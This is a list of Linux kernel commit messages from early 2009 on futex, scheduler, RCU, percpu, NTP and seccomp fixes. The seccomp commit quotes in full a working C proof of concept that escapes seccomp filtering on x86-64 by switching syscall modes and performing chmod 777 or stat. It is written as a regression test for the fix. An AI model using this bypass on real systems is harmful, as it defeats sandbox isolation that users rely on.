2009-03-12irq: add remove_irq() for freeing of setup_irq() irqsMagnus Damm
Impact: add new API This patch adds a remove_irq() function for releasing interrupts requested with setup_irq(). Without this patch we have no way of releasing such interrupts since free_irq() today tries to kfree() the irqaction passed with setup_irq().

2009-03-12futex: clean up fault logicDarren Hart
Impact: cleanup Older versions of the futex code held the mmap_sem which had to be dropped in order to call get_user(), so a two-pronged fault handling mechanism was employed to handle faults of the atomic operations. The mmap_sem is no longer held, so get_user() should be adequate. This patch greatly simplifies the logic and improves legibility. Build and boot tested on a 4 way Intel x86_64 workstation. Passes basic pthread_mutex and PI tests out of ltp/testcases/realtime.

2009-03-12futex: unlock before returning -EFAULTDarren Hart
Impact: rt-mutex failure case fix futex_lock_pi can potentially return -EFAULT with the rt_mutex held. This seems like the wrong thing to do as userspace should assume -EFAULT means the lock was not taken. Even if it could figure this out, we'd be leaving the pi_state->owner in an inconsistent state. This patch unlocks the rt_mutex prior to returning -EFAULT to userspace. Build and boot tested on a 4 way Intel x86_64 workstation.

2009-03-12futex: add double_unlock_hb()Darren Hart
Impact: cleanup The futex code uses double_lock_hb() which locks the hb->lock's in pointer value order. There is no parallel unlock routine, and the code unlocks them in name order, ignoring pointer value. This patch adds double_unlock_hb() to refactor the duplicated code segments.

2009-03-12futex: update futex commentaryDarren Hart
Impact: cleanup The futex_hash_bucket can be a bit confusing when first looking at the code as it is a shared queue (and futex_q isn't a queue at all, but rather an element on the queue). The mmap_sem is no longer held outside of the futex_handle_fault() routine, yet numerous comments refer to it. The fshared argument is no an integer. I left some of these comments along as they are simply removed in future patches. Some of the commentary refering to futexes by virtual page mappings was not very clear, and completely accurate (as for shared futexes both the page and the offset are used to determine the key). For the purposes of the function description, just referring to "the futex" seems sufficient. With hashed futexes we now access the page after the hash-bucket is locked, and not only after it is enqueued.

2009-03-11sched: add avg_overlap decayMike Galbraith
Impact: more precise avg_overlap metric - better load-balancing avg_overlap is used to measure the runtime overlap of the waker and wakee. However, when a process changes behaviour, eg a pipe becomes un-congested and we don't need to go to sleep after a wakeup for a while, the avg_overlap value grows stale. When running we use the avg runtime between preemption as a measure for avg_overlap since the amount of runtime can be correlated to cache footprint. The longer we run, the less likely we'll be wanting to be migrated to another CPU.

So in acct_update_integrals we may end up with the following scenario: Between reading tsk->stime/tsk->utime and tsk->acct_timexpd an interrupt happens which updates accouting values. This causes acct_timexpd to be greater than the former stime + utime. The subsequent calculation of dtime = cputime_sub(time, tsk->acct_timexpd); will be negative and the division performed by cputime_to_jiffies(dtime) will generate an exception since the result won't fit into a 32 bit register. In order to fix this just always disable interrupts while accessing any of the accounting values.

2009-03-06percpu, module: implement reserved allocation and use it for module percpu ↵Tejun Heo
variables Impact: add reserved allocation functionality and use it for module percpu variables This patch implements reserved allocation from the first chunk. When setting up the first chunk, arch can ask to set aside certain number of bytes right after the core static area which is available only through a separate reserved allocator. This will be used primarily for module static percpu variables on architectures with limited relocation range to ensure that the module perpcu symbols are inside the relocatable range. If reserved area is requested, the first chunk becomes reserved and isn't available for regular allocation. If the first chunk also includes piggy-back dynamic allocation area, a separate chunk mapping the same region is created to serve dynamic allocation. The first one is called static first chunk and the second dynamic first chunk. Although they share the page map, their different area map initializations guarantee they serve disjoint areas according to their purposes. If arch doesn't setup reserved area, reserved allocation is handled like any other allocation. Signed-off-by: Tejun Heo <tj@kernel.org>
2009-03-05sched: don't rebalance if attached on NULL domainFrederic Weisbecker
Impact: fix function graph trace hang / drop pointless softirq on UP While debugging a function graph trace hang on an old PII, I saw that it consumed most of its time on the timer interrupt. And the domain rebalancing softirq was the most concerned. The timer interrupt calls trigger_load_balance() which will decide if it is worth to schedule a rebalancing softirq. In case of builtin UP kernel, no problem arises because there is no domain question. In case of builtin SMP kernel running on an SMP box, still no problem, the softirq will be raised each time we reach the next_balance time. In case of builtin SMP kernel running on a UP box (most distros provide default SMP kernels, whatever the box you have), then the CPU is attached to the NULL sched domain. So a kind of unexpected behaviour happen: trigger_load_balance() -> raises the rebalancing softirq later on softirq: run_rebalance_domains() -> rebalance_domains() where the for_each_domain(cpu, sd) is not taken because of the NULL domain we are attached at. Which means rq->next_balance is never updated. So on the next timer tick, we will enter trigger_load_balance() which will always reschedule() the rebalacing softirq: if (time_after_eq(jiffies, rq->next_balance)) raise_softirq(SCHED_SOFTIRQ); So for each tick, we process this pointless softirq. This patch fixes it by checking if we are attached to the null domain before raising the softirq, another possible fix would be to set the maximal possible JIFFIES value to rq->next_balance if we are attached to the NULL domain. v2: build fix on UP Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com> Cc: Steven Rostedt <rostedt@goodmis.org> Cc: Peter Zijlstra <peterz@infradead.org> LKML-Reference: <49af242d.1c07d00a.32d5.ffffc019@mx.google.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>

2009-03-04rcu: increment quiescent state counter in ksoftirqd()Eric Dumazet
If a machine is flooded by network frames, a cpu can loop 100% of its time inside ksoftirqd() without calling schedule(). This can delay RCU grace period to insane values. Adding rcu_qsctr_inc() call in ksoftirqd() solves this problem.

2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

2009-02-26rcu: Teach RCU that idle task is not quiscent state at bootPaul E. McKenney
This patch fixes a bug located by Vegard Nossum with the aid of kmemcheck, updated based on review comments from Nick Piggin, Ingo Molnar, and Andrew Morton. And cleans up the variable-name and function-name language. ;-) The boot CPU runs in the context of its idle thread during boot-up. During this time, idle_cpu(0) will always return nonzero, which will fool Classic and Hierarchical RCU into deciding that a large chunk of the boot-up sequence is a big long quiescent state. This in turn causes RCU to prematurely end grace periods during this time. This patch changes the rcutree.c and rcuclassic.c rcu_check_callbacks() function to ignore the idle task as a quiescent state until the system has started up the scheduler in rest_init(), introducing a new non-API function rcu_idle_now_means_idle() to inform RCU of this transition. RCU maintains an internal rcu_idle_cpu_truthful variable to track this state, which is then used by rcu_check_callback() to determine if it should believe idle_cpu(). Because this patch has the effect of disallowing RCU grace periods during long stretches of the boot-up sequence, this patch also introduces Josh Triplett's UP-only optimization that makes synchronize_rcu() be a no-op if num_online_cpus() returns 1. This allows boot-time code that calls synchronize_rcu() to proceed normally. Note, however, that RCU callbacks registered by call_rcu() will likely queue up until later in the boot sequence. Although rcuclassic and rcutree can also use this same optimization after boot completes, rcupreempt must restrict its use of this optimization to the portion of the boot sequence before the scheduler starts up, given that an rcupreempt RCU read-side critical section may be preeempted. In addition, this patch takes Nick Piggin's suggestion to make the system_state global variable be __read_mostly. Changes since v4: o Changes the name of the introduced function and variable to be less emotional. ;-) Changes since v3: o WARN_ON(nr_context_switches() > 0) to verify that RCU switches out of boot-time mode before the first context switch, as suggested by Nick Piggin. Changes since v2: o Created rcu_blocking_is_gp() internal-to-RCU API that determines whether a call to synchronize_rcu() is itself a grace period. o The definition of rcu_blocking_is_gp() for rcuclassic and rcutree checks to see if but a single CPU is online. o The definition of rcu_blocking_is_gp() for rcupreempt checks to see both if but a single CPU is online and if the system is still in early boot. This allows rcupreempt to again work correctly if running on a single CPU after booting is complete. o Added check to rcupreempt's synchronize_sched() for there being but one online CPU. Tested all three variants both SMP and !SMP, booted fine, passed a short rcutorture test on both x86 and Power.

2009-02-25time: ntp: clean up second_overflow()Ingo Molnar
Impact: cleanup, no functionality changed The 'time_adj' local variable is named in a very confusing way because it almost shadows the 'time_adjust' global variable - which is used in this same function. Rename it to 'delta' - to make them stand apart more clearly. kernel/time/ntp.o: text data bss dec hex filename 2545 114 144 2803 af3 ntp.o.before 2545 114 144 2803 af3 ntp.o.after md5: 1bf0b3be564512279ba7cee299d1d2be ntp.o.before.asm 1bf0b3be564512279ba7cee299d1d2be ntp.o.after.asm Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25time: ntp: simplify ntp_tick_adj calculationsIngo Molnar
Impact: micro-optimization Convert the (internal) ntp_tick_adj value we store from unscaled units to scaled units. This is a constant that we never modify, so scaling it up once during bootup is enough - we dont have to do it for every adjustment step. Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25time: ntp: make 64-bit constants more robustIngo Molnar
Impact: cleanup, no functionality changed - make PPM_SCALE an explicit s64 constant, to remove (s64) casts from usage sites. kernel/time/ntp.o: text data bss dec hex filename 2536 114 136 2786 ae2 ntp.o.before 2536 114 136 2786 ae2 ntp.o.after md5: 40a7728d1188aa18e83e21a81fa7b150 ntp.o.before.asm 40a7728d1188aa18e83e21a81fa7b150 ntp.o.after.asm Signed-off-by: Ingo Molnar <mingo@elte.hu>

2009-02-25time: ntp: fix bug in ntp_update_offset() & do_adjtimex()Ingo Molnar
Impact: change (fix) the way the NTP PLL seconds offset is initialized/tracked Fix a bug and do a micro-optimization: When PLL is enabled we do not reset time_reftime. If the PLL was off for a long time (for example after bootup), this is arguably the wrong thing to do. We already had a hack for the common boot-time case in ntp_update_offset(), in form of: if (unlikely(time_status & STA_FREQHOLD || time_reftime == 0)) secs = 0; But the update delta should be reset later on too - not just when the PLL is enabled for the first time after bootup. So do it on !STA_PLL -> STA_PLL transitions. This changes behavior, as previously if ntpd was disabled for a long time and we restarted it, we'd run from that last update, with a very large delta.
